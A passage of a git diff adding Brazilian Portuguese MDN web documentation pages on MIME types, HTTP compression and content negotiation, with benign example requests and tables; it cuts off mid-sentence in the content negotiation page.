</tr> + <tr> + <td><code>.swf</code></td> + <td><a href="https://en.wikipedia.org/wiki/SWF">Small web format</a> (SWF) or Adobe Flash document</td> + <td><code>application/x-shockwave-flash</code></td> + </tr> + <tr> + <td><code>.tar</code></td> + <td>Tape Archive (TAR)</td> + <td><code>application/x-tar</code></td> + </tr> + <tr> + <td><code>.tif<br> + .tiff</code></td> + <td>Tagged Image File Format (TIFF)</td> + <td><code>image/tiff</code></td> + </tr> + <tr> + <td><code>.ts</code></td> + <td>Typescript file</td> + <td><code>application/typescript</code></td> + </tr> + <tr> + <td><code>.ttf</code></td> + <td>TrueType Font</td> + <td><code>font/ttf</code></td> + </tr> + <tr> + <td><code>.vsd</code></td> + <td>Microsoft Visio</td> + <td><code>application/vnd.visio</code></td> + </tr> + <tr> + <td><code>.wav</code></td> + <td>Waveform Audio Format</td> + <td><code>audio/x-wav</code></td> + </tr> + <tr> + <td><code>.weba</code></td> + <td>WEBM audio</td> + <td><code>audio/webm</code></td> + </tr> + <tr> + <td><code>.webm</code></td> + <td>WEBM video</td> + <td><code>video/webm</code></td> + </tr> + <tr> + <td><code>.webp</code></td> + <td>WEBP image</td> + <td><code>image/webp</code></td> + </tr> + <tr> + <td><code>.woff</code></td> + <td>Web Open Font Format (WOFF)</td> + <td><code>font/woff</code></td> + </tr> + <tr> + <td><code>.woff2</code></td> + <td>Web Open Font Format (WOFF)</td> + <td><code>font/woff2</code></td> + </tr> + <tr> + <td><code>.xhtml</code></td> + <td>XHTML</td> + <td><code>application/xhtml+xml</code></td> + </tr> + <tr> + <td><code>.xls<br> + .xlsx</code></td> + <td>Microsoft Excel</td> + <td><code>application/vnd.ms-excel<br> + application/vnd.openxmlformats-officedocument.spreadsheetml.sheet</code></td> + </tr> + <tr> + <td><code>.xml</code></td> + <td><code>XML</code></td> + <td><code>application/xml</code></td> + </tr> + <tr> + <td><code>.xul</code></td> + <td>XUL</td> + <td>application/vnd.mozilla.xul+xml</td> + </tr> + <tr> + <td><code>.zip</code></td> + <td>ZIP archive</td> + <td><code>application/zip</code></td> + </tr> + <tr> + <td><code>.3gp</code></td> + <td><a href="https://en.wikipedia.org/wiki/3GP_and_3G2">3GPP</a> audio/video container</td> + <td><code>video/3gpp</code><br> + <code>audio/3gpp</code> if it doesn't contain video</td> + </tr> + <tr> + <td><code>.3g2</code></td> + <td><a href="https://en.wikipedia.org/wiki/3GP_and_3G2">3GPP2</a> audio/video container</td> + <td><code>video/3gpp2</code><br> + <code>audio/3gpp2</code> if it doesn't contain video</td> + </tr> + <tr> + <td><code>.7z</code></td> + <td><a href="https://en.wikipedia.org/wiki/7-Zip">7-zip</a> archive</td> + <td><code>application/x-7z-compressed</code></td> + </tr> + </tbody> +</table> diff --git a/files/pt-br/web/http/basico_sobre_http/mime_types/index.html b/files/pt-br/web/http/basico_sobre_http/mime_types/index.html new file mode 100644 index 0000000000..3acce2553a --- /dev/null +++ b/files/pt-br/web/http/basico_sobre_http/mime_types/index.html @@ -0,0 +1,314 @@ +--- +title: MIME types +slug: Web/HTTP/Basico_sobre_HTTP/MIME_types +translation_of: Web/HTTP/Basics_of_HTTP/MIME_types +--- +<div>{{HTTPSidebar}}</div> + +<p>O <strong>MIME type </strong>é o mecanismo para dizer ao cliente a variedade de documentos transmitidos: a extensão de um nome de arquivo não tem significado na web. Portanto, é importante que o servidor esteja configurado corretamente, de modo que o <em>MIME-type</em> correto seja transmitido com cada documento. Os navegadores costumam usar o <em>MIME-type</em> para determinar qual ação usar como padrão para fazer quando um recurso é obtido.</p> + +<p>Existem muitos tipos de documentos, por isso há muitos <em>MIME-types</em>. Neste artigo, listaremos os mais importantes para o desenvolvimento da Web, mas você pode encontrá-los para os tipos de documento aplicáveis neste artigo dedicado: <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Complete_list_of_MIME_types">Lista completa de <em>MIME types</em></a><em>.</em></p> + +<p><em>MIME types</em> não são a única maneira de transmitir as informações do tipo de documento:</p> + +<ul> + <li>Os sufixos de nome são usados às vezes, especialmente em sistemas Microsoft Windows. Nem todos os sistemas operacionais consideram esses sufixos significativos (especialmente Linux e Mac OS), e como um tipo MIME externo, não há garantia de que eles estejam corretos.</li> + <li>Números mágicos. A sintaxe dos diferentes tipos de arquivos permite a inferência de tipo de arquivo, olhando para a estrutura. Por exemplo. Cada arquivo GIF começa com o valor hexadecimal 47 49 46 38 [GIF89] ou arquivos PNG com 89 50 4E 47 [.PNG]. Nem todos os tipos de arquivos têm números mágicos, portanto este não é um sistema 100% confiável.</li> +</ul> + +<p>Na Web, apenas o <em>MIME type</em> é relevante e deve ser definido com cuidado. Navegadores e servidores usavam frequentemente heurísticas baseadas em sufixos ou números mágicos para definir o tipo MIME, verificar a coerência ou encontrar o tipo MIME correto quando apenas um tipo genérico foi fornecido.</p> + +<h2 id="Sintaxe">Sintaxe</h2> + +<h3 id="Estrutura_geral">Estrutura geral</h3> + +<pre class="syntaxbox">tipo/subtipo</pre> + +<p>A estrutura de um <em>MIME type</em> é muito simples; Consiste de um tipo e um subtipo, duas strings, separados por um '/'. Nenhum espaço é permitido. O tipo representa a categoria e pode ser um tipo <em>discreto </em>ou <em>multipart</em>. O subtipo é específico para cada tipo.</p> + +<p>Um <em>MIME type</em> é case-insensitive mas tradicionalmente é escrito tudo em minúsculas.</p> + +<h3 id="Tipos_discretos">Tipos discretos</h3> + +<pre class="syntaxbox">text/plain +text/html +image/jpeg +image/png +audio/mpeg +audio/ogg +audio/* +video/mp4 +application/octet-stream +…</pre> + +<p>Tipos <em>discretos </em>indicam a categoria do documento, ele pode ser um dos seguintes:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Tipo</th> + <th scope="col">Descrição</th> + <th scope="col">Exemplos de subtipos típicos</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>text</code></td> + <td>Representa qualquer documento que contenha texto e é teoricamente legivel para o ser humano.</td> + <td><code>text/plain</code>, <code>text/html</code>, <code>text/css, text/javascript</code></td> + </tr> + <tr> + <td><code>image</code></td> + <td>Representa qualquer tipo de imagens. Os vídeos não estão incluídos, embora imagens animadas (como gif animado) sejam descritas com um tipo de imagem.</td> + <td><code>image/gif</code>, <code>image/png</code>, <code>image/jpeg</code>, <code>image/bmp</code>, <code>image/webp</code></td> + </tr> + <tr> + <td><code>audio</code></td> + <td>Representa qualquer tipo de arquivo de audio</td> + <td><code>audio/midi</code>, <code>audio/mpeg, audio/webm, audio/ogg, audio/wav</code></td> + </tr> + <tr> + <td><code>video</code></td> + <td>Representa qualquer tipo de arquivo de video</td> + <td><code>video/webm</code>, <code>video/ogg</code></td> + </tr> + <tr> + <td><code>application</code></td> + <td>Representa qualquer tipo de dados binários.</td> + <td><code>application/octet-stream</code>, <code>application/pkcs12</code>, <code>application/vnd.mspowerpoint</code>, <code>application/xhtml+xml</code>, <code>application/xml</code>, <code>application/pdf</code></td> + </tr> + </tbody> +</table> + +<p>Para documentos de texto sem um subtipo especifico, <strong><code>text/plain</code></strong> deverá ser usado. Assim como, para documentos binários sem subtipo especifico ou conhecido, <strong><code>application/octet-stream</code></strong> deverá ser usado.</p> + +<h3 id="Tipos_de_multipart">Tipos de multipart</h3> + +<pre class="syntaxbox">multipart/form-data +multipart/byteranges</pre> + +<p id="sect1"><em>Multipart types </em>indicam uma categoria de documento que são quebrados em partes distintas, muitas vezes com diferentes tipos MIME. É uma maneira de representar um documento composto. Com exceção de <code>multipart/form-data</code>, que são usados em relação de <a href="/en-US/docs/Web/Guide/HTML/Forms">formularios HTML</a> e metodo {{HTTPMethod("POST")}}, e <code>multipart/byteranges</code> que são usados em conjunto com {{HTTPStatus("206")}} <code>Mensagem de status de conteúdo parcial para enviar apenas um subconjunto de um documento inteiro, o HTTP não manipula documentos de várias partes de uma maneira específica: a mensagem é simplesmente transmitida ao navegador (o que provavelmente irá propor uma janela Salvar como, sem saber como exibir o documento).</code></p> + +<h2 id="Importantes_MIME_types_para_desenvolvedores_Web">Importantes <em>MIME types</em> para desenvolvedores Web</h2> + +<h3 id="applicationoctet-stream"><code>application/octet-stream</code></h3> + +<p>Este é o valor padrão para um arquivo binario. Como é um arquivo binário desconhecido, os navegadores geralmente não irá executá-lo automaticamente, ou irá perguntar se ele deve ser executado. Eles tratam-na como se o cabeçalho {{HTTPHeader("Content-Disposition")}} fosse definido com o anexo de valor e propusessem um "Salvar como".</p> + +<h3 id="textplain"><code>text/plain</code></h3> + +<p>Este é o valor padrão para arquivos de texto. Mesmo se realmente significa arquivo textual desconhecido, os navegadores assumem que eles podem exibi-lo.</p> + +<div class="note"> +<p>Note que <code>text/plain</code> não significa qualquer tipo de dados textuais. Se eles esperam um tipo específico de dados textuais, eles provavelmente não consideram uma correspondência. Especificamente se eles baixarem um arquivo <code>text/plain</code> de um elemento {{HTMLElement ("link")}} declarando arquivos CSS, eles não o reconhecerão como arquivos CSS válidos se forem apresentados com <code>text/plain</code>.<br> + O CSS mime tipo <code>text/css</code> deve ser usado.</p> +</div> + +<h3 id="textcss"><code>text/css</code></h3> + +<p>Quaisquer arquivos CSS que têm de ser interpretados como tal em uma página da Web devem ser dos arquivos de <code>text/css</code>. Muitas vezes os servidores não reconhecem arquivos com o sufixo .css como arquivos CSS, em vez disso, enviam-nos com o tipo MIME de <code>text/plain</code> ou <code>application/octet-stream</code>: nesses casos, eles não serão reconhecidos como arquivos CSS pela maioria dos navegadores e serão silenciosamente ignorados.<br> + Atenção especial tem de ser paga para servir arquivos CSS com o tipo correto.</p> + +<h3 id="texthtml"><code>text/html</code></h3> + +<p>Todo o conteúdo HTML deve ser exibido com este tipo. Tipos MIME alternativos para XHTML (como <code>application/xml+html)</code> são em sua maioria inúteis hoje em dia (HTML5 unificou esses formatos).</p> + +<h3 id="Images_types">Images types</h3> + +<p>Apenas um punhado de tipos de imagem são amplamente reconhecidos e são considerados seguros na Web, prontos para uso em uma página da Web:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">MIME type</th> + <th scope="col">Image type</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>image/gif</code></td> + <td>GIF images (Compressão sem perdas, substituído por PNG)</td> + </tr> + <tr> + <td><code>image/jpeg</code></td> + <td>JPEG images</td> + </tr> + <tr> + <td><code>image/png</code></td> + <td>PNG images</td> + </tr> + <tr> + <td><code>image/svg+xml</code></td> + <td>SVG images (vector images)</td> + </tr> + </tbody> +</table> + +<p>Há uma discussão para adicionar WebP (image / webp) a esta lista, mas como cada novo tipo de imagem irá aumentar o tamanho de um codebase, isso pode introduzir novos problemas de segurança, então os fornecedores de navegador são cautelosos em aceitá-lo.</p> + +<p>Outros tipos de imagens podem ser encontrados em documentos da Web. Por exemplo, muitos navegadores suportam tipos de imagem de ícones para favicons ou similares.<br> + Em particular, as imagens do ICO são suportadas neste contexto com o tipo MIME <code>image/x-icon</code>.</p> + +<h3 id="Audio_and_video_types">Audio and video types</h3> + +<p>Como as imagens, o HTML não define um conjunto de tipos suportados para usar com os elementos {{HTMLElement("audio")}} e {{HTMLElement("video")}} , de modo que apenas um grupo relativamente pequeno deles pode ser Usado na Web. Os <a href="/en-US/docs/Web/HTML/Supported_media_formats">formatos de mídia suportados pelos elementos de áudio e vídeo em HTML</a> explicam os codecs e formatos de contêiner que podem ser usados.<br> + <br> + O tipo MIME de tais arquivos principalmente representam os formatos de contêiner e os mais comuns em um contexto da Web são:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">MIME type</th> + <th scope="col">Audio or video type</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>audio/wave</code><br> + <code>audio/wav</code><br> + <code>audio/x-wav</code><br> + <code>audio/x-pn-wav</code></td> + <td>Um arquivo de áudio no formato de recipiente WAVE. O codec de áudio PCM (WAVE codec "1") é freqüentemente suportado, mas outros codecs têm suporte mais limitado (se houver).</td> + </tr> + <tr> + <td><code>audio/webm</code></td> + <td>Um arquivo de áudio no formato de contêiner WebM. Vorbis e Opus são os codecs de áudio mais comuns.</td> + </tr> + <tr> + <td><code>video/webm</code></td> + <td>Um arquivo de vídeo, possivelmente com áudio, no formato de contêiner WebM. VP8 e VP9 são os codecs video os mais comuns usados dentro dele; Vorbis e Opus os codecs de áudio mais comuns.</td> + </tr> + <tr> + <td><code>audio/ogg</code></td> + <td>Um arquivo de áudio no formato de contêiner OGG. Vorbis é o codec de áudio mais comum usado em tal recipiente.</td> + </tr> + <tr> + <td><code>video/ogg</code></td> + <td>Um arquivo de vídeo, possivelmente com áudio, no formato de contêiner OGG. Theora é o codec video usual usado dentro dele; Vorbis é o codec de áudio usual.</td> + </tr> + <tr> + <td><code>application/ogg</code></td> + <td>Um arquivo de áudio ou vídeo usando o formato de contêiner OGG. Theora é o codec video usual usado dentro dele; Vorbis é o codec de áudio usual.</td> + </tr> + </tbody> +</table> + +<h3 id="multipartform-data"><code>multipart/form-data</code></h3> + +<p>O tipo <code>multipart/form-data</code> pode ser usado ao enviar o conteúdo de um <a href="/en-US/docs/Web/Guide/HTML/Forms">formulario HTML</a> preenchido do navegador para o servidor. Como um documento multipart formal, consiste em partes diferentes, delimitado por um limite (uma seqüência de caracteres começando com um traço duplo '--'). Cada parte é uma entidade por si só, com seus próprios cabeçalhos HTTP, {{HTTPHeader("Content-Disposition")}}, e {{HTTPHeader("Content-Type")}} Para os campos de upload de arquivos, e os mais comuns ({{HTTPHeader("Content-Length")}} É ignorada como a linha de limite é usada como o delimitador).</p> + +<pre class="syntaxbox">Content-Type: multipart/form-data; boundary=aBoundaryString +(Outros cabeçalhos associados ao documento em várias partes como um todo) + +--aBoundaryString +Content-Disposition: form-data; name="myFile"; filename="img.jpg" +Content-Type: image/jpeg + +(dados) +--aBoundaryString +Content-Disposition: form-data; name="myField" + +(dados) +--aBoundaryString +(mais subpartes) +--aBoundaryString-- + +</pre> + +<p>O seguinte formulario:</p> + +<pre class="brush: html"><form action="http://localhost:8000/" method="post" enctype="multipart/form-data"> + <input type="text" name="myTextField"> + <input type="checkbox" name="myCheckBox">Check</input> + <input type="file" name="myFile"> + <button>Send the file</button> +</form></pre> + +<p>Enviará esta mensagem:</p> + +<pre>POST / HTTP/1.1 +Host: localhost:8000 +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Connection: keep-alive +Upgrade-Insecure-Requests: 1 +Content-Type: multipart/form-data; boundary=---------------------------8721656041911415653955004498 +Content-Length: 465 + +-----------------------------8721656041911415653955004498 +Content-Disposition: form-data; name="myTextField" + +Test +-----------------------------8721656041911415653955004498 +Content-Disposition: form-data; name="myCheckBox" + +on +-----------------------------8721656041911415653955004498 +Content-Disposition: form-data; name="myFile"; filename="test.txt" +Content-Type: text/plain + +Simple file. +-----------------------------8721656041911415653955004498-- + +</pre> + +<h3 id="multipartbyteranges"><code>multipart/byteranges</code></h3> + +<p>O tipo MIME <code>multipart/byteranges </code>é usado no contexto de enviar respostas parciais para o navegador. Quando o código de status de conteúdo parcial {{HTTPStatus("206")}}<code> </code>é enviado, este tipo MIME é usado para indicar que o documento é composto de várias partes, uma para cada um do intervalo solicitado. Como outros tipos de multipart, o {{HTTPHeader("Content-Type")}} usa a diretiva de limite para definir a seqüência de limites. Cada uma das diferentes partes tem um cabeçalho {{HTTPHeader("Content-Type")}} com o tipo real do documento e um {{HTTPHeader("Content-Range")}} com o intervalo que representam.</p> + +<pre><code>HTTP/1.1 206 Partial Content +Accept-Ranges: bytes +Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5 +Content-Length: 385 + +--3d6b6a416f9b5 +Content-Type: text/html +Content-Range: bytes 100-200/1270 + +eta http-equiv="Content-type" content="text/html; charset=utf-8" /> + <meta name="vieport" content +--3d6b6a416f9b5 +Content-Type: text/html +Content-Range: bytes 300-400/1270 + +-color: #f0f0f2; + margin: 0; + padding: 0; + font-family: "Open Sans", "Helvetica +--3d6b6a416f9b5--</code></pre> + +<h2 id="Importância_de_definir_o_MIME_type_correto">Importância de definir o <code>MIME type</code> correto</h2> + +<p>A maioria dos servidores web envia recursos de tipo desconhecido usando o tipo MIME de application/octet-stream padrão. Por razões de segurança, a maioria dos navegadores não permite definir uma ação padrão personalizada para esses recursos, forçando o usuário a armazená-lo no disco para usá-lo. Algumas configurações de servidor incorretamente exibidas ocorrem com os seguintes tipos de arquivo:</p> + +<ul> + <li> + <p>Arquivos RAR-codificados. Neste caso, o ideal seria definir o verdadeiro tipo de arquivos codificados; Isso muitas vezes não é possível (como pode não ser conhecido para o servidor e esses arquivos podem conter vários recursos de tipos diferentes). Nesse caso, configure o servidor para enviar o tipo MIME <code>application/x-rar-compressed</code>.</p> + </li> + <li> + <p>Arquivos de áudio e vídeo. Somente recursos com o Tipo MIME correto serão reconhecidos e reproduzidos em elementos {{HTMLElement("video")}} ou {{HTMLElement("áudio")}}. Certifique-se <a href="/En/Media_formats_supported_by_the_audio_and_video_elements">de usar o tipo correto para áudio e vídeo</a>.</p> + </li> + <li> + <p>Tipos de arquivos proprietários. Preste especial atenção ao servir um tipo de arquivo proprietário. Evite usar o <code>application/octet-stream</code> como manipulação especial não será possível: a maioria dos navegadores não permitem definir um comportamento padrão (como "Abertura no Word") para este tipo MIME genérico.</p> + </li> +</ul> + +<h2 id="MIME_sniffing">MIME sniffing</h2> + +<p>Na ausência de um tipo MIME, ou em alguns outros casos em que um cliente acredita que estão incorrectamente definidos, os navegadores podem conduzir MIME sniffing, que está adivinhando o tipo MIME correto, olhando para o recurso. Cada navegador executa isso de forma diferente e em circunstâncias diferentes. Existem algumas preocupações de segurança com esta prática,<br> + Como alguns tipos MIME representam conteúdo executável e outros não. Os servidores podem bloquear MIME sniffing enviando o {{HTTPHeader("X-Content-Type-Options")}} ao longo do {{HTTPHeader("Content-Type")}}.</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/Security/Securing_your_site/Configuring_server_MIME_types">Properly configuring server MIME types</a></li> + <li> + <p><a href="/en-US/docs/Web/HTML/Supported_media_formats">Media formats supported by the HTML audio and video elements</a></p> + </li> +</ul> + +<div id="gtx-trans" style="position: absolute; left: 374px; top: 8422.8px;"> +<div class="gtx-trans-icon"></div> +</div> diff --git a/files/pt-br/web/http/compressão/index.html b/files/pt-br/web/http/compressão/index.html new file mode 100644 index 0000000000..a1f16b762f --- /dev/null +++ b/files/pt-br/web/http/compressão/index.html @@ -0,0 +1,72 @@ +--- +title: Compressão em HTTP +slug: Web/HTTP/Compressão +tags: + - Guía + - HTTP + - compressão +translation_of: Web/HTTP/Compression +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary">A <strong>Compressão</strong> é uma forma importante de aumentar o desempenho de um Web site.<strong> </strong>Para alguns documentos, a redução de tamanho de até 70% diminui a necessidade de capacidade de largura de banda. Com o passar dos anos, os algoritmos também ficaram mais eficientes e novos têm recebido suporte por clientes e servidores.</p> + +<p>Na prática, os desenvolvedores web não precisam implementar mecanismos de compressão de dados, pois ambos os navegadores e servidores já possuem tais mecanismos implementados. Porém, é preciso ter certeza de que o servidor esteja configurado adequadamente. A compressão acontece em três níveis distintos:</p> + +<ul> + <li>primeiramente, alguns formatos de arquivo são comprimidos com métodos otimizados específicos,</li> + <li>então a criptografia ocorre no nível HTTP (o recurso é transmitido comprimido de ponta a ponta),</li> + <li>e finalmente a compressão pode ser definida no nível da conexão, entre dois nós de uma conexão HTTP.</li> +</ul> + +<h2 id="Compressão_de_formato_de_arquivo">Compressão de formato de arquivo</h2> + +<p>Cada tipo de dado tem alguma redundância, ou seja, espaço desperdiçado. Se um texto pode geralmente apresentar até 60% de redundância, essa taxa pode ser muito maior para outras mídias, como áudio e vídeo. Ao contrário do texto, esses outros tipos de mídia ocupam muito espaço de armazenamento, sendo que a necessidade de recuperar esse espaço desperdiçado apareceu muito cedo. Engenheiros projetaram o algoritmo de compressão otimizada usada por formatos de arquivo para esse fim específico. Os algoritmos de compressão usados para arquivos podem ser agrupados em duas grandes categorias:</p> + +<ul> + <li>Compressão sem perdas (do inglês <em>Loss-less compression</em>), em que o ciclo de compressão-descompressão não altera os dados recuperados. Corresponde byte a byte com o original. Para imagens, <code>gif</code> e <code>png</code> usam a compressão sem perdas.</li> + <li>Compressão com perdas (do inglês <em>Lossy compression</em>), onde o ciclo altera os dados originais, de forma imperceptível para o usuário.<br> + Formatos de vídeo na Web utilizam compressão com perdas, assim como o formato <code>jpeg</code> para imagens.</li> +</ul> + +<p>Alguns formatos podem ser usados para a compressão com ou sem perdas, como o <code>webp</code>. Geralmente, o algoritmo de compressão com perdas pode ser configurado para comprimir mais ou menos, resultando em uma qualidade menor ou maior.</p> + +<p>Para o melhor desempenho de um site, é ideal comprimir o máximo possível, mantendo um nível aceitável de qualidade. Para imagens, uma imagem gerada por uma ferramenta pode não ser otimizada o suficiente para a Web. Recomenda-se portanto o uso de ferramentas que comprimirão o máximo possível com uma certa qualidade exigida. Existem <a href="http://www.creativebloq.com/design/image-compression-tools-1132865">inúmeras ferramentas</a> especializadas para isso.</p> + +<p>Algoritmos de compressão com perdas geralmente são mais eficientes que os sem perdas.</p> + +<div class="note"> +<p>Como a compressão funciona melhor em tipos específicos de arquivos, ela geralmente não fornece nada mais ao comprimir o mesmo arquivo uma segunda vez. Na verdade, isso geralmente é contraproducente, pois o custo da sobrecarga (algoritmos geralmente precisam de um dicionário que some ao tamanho inicial) pode ser maior do que o ganho extra na compressão, resultando em um arquivo maior. Não use as duas técnicas a seguir para arquivos em um formato comprimido.</p> +</div> + +<h2 id="Compressão_de_ponta_a_ponta">Compressão de ponta a ponta</h2> + +<p>Para compressão, a compressão de ponta a ponta é onde residem as maiores melhorias de desempenho dos sites. Compressão de ponta a ponta refere-se a uma compressão do corpo de uma mensagem que é realizada pelo servidor e permanecerá inalterada até atingir o cliente. Quaisquer que sejam os nós intermediários, eles deixam o corpo intacto.</p> + +<p> </p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13801/HTTPEnco1.png" style="height: 307px; width: 955px;"></p> + +<p>Todos os navegadores e servidores modernos suportam a compressão, bastante somente negociar o algoritmo a ser usado. Esses algoritmos são otimizados para texto. Nos anos 90, a tecnologia de compressão avançava a um ritmo acelerado e numerosos algoritmos sucessivos foram adicionados ao conjunto de escolhas possíveis. Hoje em dia, apenas dois são relevantes: o <code>gzip</code>, o mais comum, e <code>br</code> o novo desafiante.</p> + +<p>Para selecionar o algoritmo a ser usado, os navegadores e servidores usam a <a href="/en-US/docs/Web/HTTP/Content_negotiation">negociação proativa de conteúdo</a>. O navegador envia um cabeçalho {{HTTPHeader("Accept-Encoding")}} com o algoritmo que ele suporta e sua ordem de precedência. O servidor escolhe um, usa-o para comprimir o corpo da resposta e usa o {{HTTPHeader("Content-Encoding")}} para informar ao navegador o algoritmo escolhido. Como a negociação de conteúdo foi usada para escolher uma representação baseada em sua codificação, o servidor deve enviar um cabeçalho {{HTTPHeader("Vary")}} contendo pelo menos {{HTTPHeader("Accept-Encoding")}} ao lado do cabeçalho na resposta. Dessa forma, os caches poderão armazenar em cache as diferentes representações do recurso.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13811/HTTPCompression1.png" style="height: 307px; width: 771px;"></p> + +<p>Como a copressão de dados traz melhorias significativas no desempenho, recomenda-se ativá-la para todos os arquivos, com exceção daqueles já comprimidos, como imagens, arquivos de áudio e vídeos.</p> + +<p>Apache suporta compressão e usa <a href="http://httpd.apache.org/docs/current/mod/mod_deflate.html">mod_deflate</a>; para nginx existe <a href="http://nginx.org/en/docs/http/ngx_http_gzip_module.html">ngx_http_gzip_module</a>; para IIS, o elemento <code><a href="https://www.iis.net/configreference/system.webserver/httpcompression"><httpCompression></a></code>.</p> + +<h2 id="Compressão_de_nó_a_nó_(Hop-by-hop)">Compressão de nó a nó (<em>Hop-by-hop</em>)</h2> + +<p>A compressão de nó a nó (do inglês <em>Hop-by-hop compression</em>), embora semelhante à compresão de ponta a ponta, difere em um elemento fundamental: a compressão não acontece no recurso no servidor, criando uma representação específica que é então transmitida, mas sim no corpo da mensagem entre dois nós no caminho entre o cliente e o servidor. Conexões entre nós intermediários sucessivos podem aplicar uma compressão diferente.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13807/HTTPTE1.png"></p> + +<p>Para fazer isso, o HTTP usa um mecanismo semelhante à negociação de conteúdo para a compressão ponta a ponta: o nó que transmite a solicitação anuncia sua vontade usando o cabeçalho {{HTTPHeader ("TE")}}, sendo que o outro nó escolhe o método adequado, aplica-o e indica a sua escolha com o cabeçalho {{HTTPHeader("Transfer-Encoding")}}.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13809/HTTPComp2.png"></p> + +<p>Na prática, a compressão de nó a nó é transparente para o servidor e o cliente, sendo raramente usada. {{HTTPHeader ("TE")}} e {{HTTPHeader ("Transfer-Encoding")}} são usados principalmente para enviar uma resposta por partes, permitindo iniciar a transmissão de um recurso sem conhecer seu tamanho.</p> + +<p>Observe que usar {{HTTPHeader("Transfer-Encoding")}} e compressão a nível de salto entre nós é tão raro que a maioria dos servidores, como Apache, nginx ou IIS, não apresentam uma maneira fácil de configurá-lo. Tal configuração geralmente acontece no nível do proxy.</p> diff --git a/files/pt-br/web/http/content_negotiation/index.html b/files/pt-br/web/http/content_negotiation/index.html new file mode 100644 index 0000000000..81d5fdae72 --- /dev/null +++ b/files/pt-br/web/http/content_negotiation/index.html @@ -0,0 +1,156 @@ +--- +title: Negociação de conteúdo +slug: Web/HTTP/Content_negotiation +tags: + - Content Negotiation Reference + - HTTP + - NeedsTranslation + - Negociação de conteúdo + - Referência em Negociação de Conteúdo + - TopicStub +translation_of: Web/HTTP/Content_negotiation +--- +<div>{{HTTPSidebar}}</div> + +<div>No <a href="/en-US/docs/Glossary/HTTP">HTTP</a>, <strong><em>negociação de conteúdo</em></strong> é o mecanismo que é usado para servir diferentes</div> + +<div>representações de um recurso no mesmo URI, de forma que o agente do usuário</div> + +<div>possa especificar qual é a melhor representação adequada ao usuário</div> + +<div>(por exemplo, qual idioma de um documento, qual formato de imagem ou</div> + +<div>qual codificação de conteúdo)</div> + +<h2 id="Princípios_da_negociação_do_conteúdo">Princípios da negociação do conteúdo</h2> + +<p>Um documento específico é denominado <em>recurso</em>. Quando um cliente quer obtê-lo, ele o requisita usando sua URL. O servidor usa esta URL para escolherum das variantes que ele provê - cada variante sendo chamada de <em>representação</em> - e retorna essa representação específica para o cliente. O recurso de forma geral, bem como suas representações, têm uma URL específica. Como uma representação específica é escolhida quando um recurso é chamado é determinado pela <em>negociação de conteúdo</em> e existem algumas maneiras de negociar entre entre o cliente e o servidor.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13789/HTTPNego.png" style="height: 311px; width: 767px;"></p> + +<p>A determinação da representação mais adequada é feita através de um dos dois mecanismos:</p> + +<ul> + <li><a href="/pt-BR/docs/Web/HTTP/Headers">Cabeçalhos HTTP</a> específicos pelo cliente (<em>negociação com base no servidor </em>ou <em>negociação pró-ativa</em>)</li> + <li><a href="/pt-BR/docs/Web/HTTP/Status">Os códigos de resposta</a> do servidor {HTTPStatus("300")}} (Múltiplas escolhas) or {{HTTPStatus("406")}} (Não aceitável) (<em>negociação baseada no agente</em> ou <em>negociação reativa</em>), que são usados como mecanimos de reserva (<em>fallback</em>).</li> +</ul> + +<p>Ao longo dos anos, outras propostas de negociação de conteúdo, como <em>negociação de conteúdo transparente</em> e o cabeçalho <code>Alternates</code> foram propostas. Elas falharam em ganhar apoio e foram abandonadas.</p> + +<h2 id="Negociação_baseada_no_servidor">Negociação baseada no servidor</h2> + +<p>Na <em>negociação baseada no servidor</em>, ou negociação proativa, o navegador (ou outro tipo de agente do usuário) envia diversos cabeçalhos HTTP junto com a URL. Estes cabeçalhos descrevem a escolha preferida do usuário. O servidor usa-os como sugestões e um algoritmo intero escolhe o melhor conteúdo para ser servido ao usuário. O algoritmo é específico para cada servidor e não é definido no padrão. Veja, por-exemplo, o <a href="http://httpd.apache.org/docs/2.2/en/content-negotiation.html#algorithm">algoritmo de negociação do Apache 2.2</a>.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13791/HTTPNegoServer.png" style="height: 380px; width: 767px;"></p> + +<p>O padrão HTTP/1.1 define uma lista de cabeçalhos-padrão que iniciam a negociação baseada no servidor ({{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}}). Apesar do {{HTTPHeader("User-Agent")}} não estar formalmente na lista, ele é, às vezes, também usado para enviar uma representação específica do recurso requisitado, apesar disso não ser considerado uma boa prática. O servidor usa o cabeçalho {{HTTPHeader("Vary")}} para indicar quais cebeçalhos de fato foram usados na negociação do conteúdo (ou, mais precisamente, nos cabeçahos de resposta associados), de forma que <a href="/en-US/docs/Web/HTTP/Caching">caches </a>possam funcionar de forma otimizada.</p> + +<p>Além desses, existe uma proposta experimental para adicionar mais cabeçalhos à lista dos disponíveis, as chamadas <em>sugestões do cliente</em>. Sugestões do cliente indicam qual é o tipo do dispositivo em que o agente do usuário roda (por-exemplo, se é um computador de mesa ou um dispositivo móvel).</p> + +<p>Mesmo sendo a negociação com base no servidor a forma mais comum de concordar com uma representação específica de um recurso, ela ainda assim tem algumas desvantagens:</p> + +<ul> + <li>O servidor não tem conhecimento total sobre o navegador. Mesmo com a extensão das Sugestões do cliente, o servidor continua sem saber completamente quais são as capacidades do navegador. Diferente da negociação de conteúdo reativa, onde o cliente faz uma escolha, a escolha do servidor é, até certo ponto, 